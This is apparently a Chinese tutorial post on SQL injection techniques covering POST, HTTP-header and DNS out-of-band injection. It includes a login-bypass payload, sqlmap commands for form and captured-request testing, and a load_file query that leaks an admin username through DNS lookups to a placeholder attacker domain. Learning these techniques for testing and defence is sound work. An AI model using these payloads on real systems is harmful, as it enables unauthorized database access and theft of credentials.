SQL注入

房东的猫 提交于 2019-12-11 00:48:41

SQL注入:POST注入

POST注入简介

POST注入属于注入的一种,相信大家在之前的课程中都知道POST\GET两种传参方式。
POST注入就是使用POST进行传参的注入,本质上和GET类型的没什么区别。

POST注入高危点

登录框、查询框等各种和数据有交互的框
最经典的POST注入案例:'or 1=1 #

Sqlmap如何对POST类型SQL注入进行注入

--forms sqlmap去读取页面中POST传参的表单的传参名然后进行SQL注入
-r 1.txt sqlmap读取数据包文件进行SQL注入,注入处可以打一个*号告诉Sqlmap测试那个点

post注入

在填写表单的时候提交使用post传参
一般是在用户名框或者密码框尝试

sqlmap如何跑post注入
方法一:sqlmap.py -u http://xxxxxx --form
方法二:通过抓包的方式,保存在文件中,在注入点加上 * 号提示sqlmap,同时有些注入点,是需要登录的状态下的权限,而一般的sqlmap是没有权限的,但是通过抓包的方式存在cookie

 

SQL注入:HEAD注入

HEAD注入原理

HEAD注入顾名思义就是在传参的时候,将我们的数据构建在http头部。

HEAD注入的使用场景

为什么网站要记录你的ip或者请求头,是为了方便你的二次登陆,区分你的登陆地址和设备,可以更高的自适应。[所以~游客一般不会被记录,头注入一般都发生在登陆或者留言的地方比较多]

超全局变量

PHP 中的许多预定义变量都是“超全局的”,这意味着它们在一个脚本的全部作用域中都可用。

这些超全局变量是:
$_REQUEST (获取GET/POST/COOKIE) COOKIE在新版本已经无法获取了
$_POST  (获取POST传参)
$_GET  (获取GET的传参)
$_COOKIE   (获取COOKIE的值)
$_SERVER  (包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组)
$_SERVER功能强大。

常用的:
$_SERVER['HTTP_HOST']  请求头信息中的Host内容,获取当前域名。
$_SERVER["HTTP_USER_AGENT"]  获取用户相关信息,包括用户浏览器、操作系统等信息。
$_SERVER["REMOTE_ADDR"]  浏览网页的用户ip。

 

SQL注入:DNS注入

DNS注入原理:

通过我们构造的数据,访问搭建好的DNS服务器,查看DNS访问的日志即可获取我们想要得到的数据。

DNS注入使用场景:

在某些无法直接利用漏洞获得回显的情况下,但是目标可以发起请求,这个时候就可以通过DNSlog把想获得的数据外带出来。
对于sql盲注,常见的方法就是二分法去一个个猜,但是这样的方法麻烦不说,还很容易因为数据请求频繁导致被ban。

load_file函数

load_file()函数是读取文件的函数,读取文件并返回文件内容为字符串。要使用此函数,文件必须位于服务器主机上,必须指定完整路径的文件,而且必须有FILE权限。 该文件所有字节可读,但文件内容必须小于max_allowed_packet(限制server接受的数据包大小函数,默认1MB)。 如果该文件不存在或无法读取,因为前面的条件之一不满足,函数返回 NULL。
select load_file(../../../../../../../../../../../1.txt)

UNC路径

UNC路径就是类似\softer这样的形式的网络路径。它符合 \servername\sharename 格式,其中 servername 是服务器名,sharename 是共享资源的名称。
目录或文件的 UNC 名称可以包括共享名称下的目录路径,格式为:

\\servername\sharename\directory\filename

例如softer计算机的名为it168的共享文件夹,用UNC表示就是\softer\it168。
我们熟悉的命令行访问法访问网上邻居,实际上应该称作UNC路径访问法。

假设我们访问的路径是域名下的某个文件呢?

//xxxxx.com/1.txt
或 \\\\xxxx.com/txt //四个反斜杠的原因是因为将反斜杠做转义,不然两个\会被转义为一个,导致语句报错
# 表示我们去访问这个域名下的共享文件夹的文件

当我们使用load_file去访问域名的时候,会产生DNS解析
这时候我们可以通过构造sql查询语句去查询数据库
select load_file(concat('//',(select username form admin limit 0,1),'.xxx.xxx/abc'))
因为拼接的字段只能有一条,所以需要进行限制,不然会报错
如果成功访问的话就可以通过查询日志获取username字段的值,完成DNS注入。

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!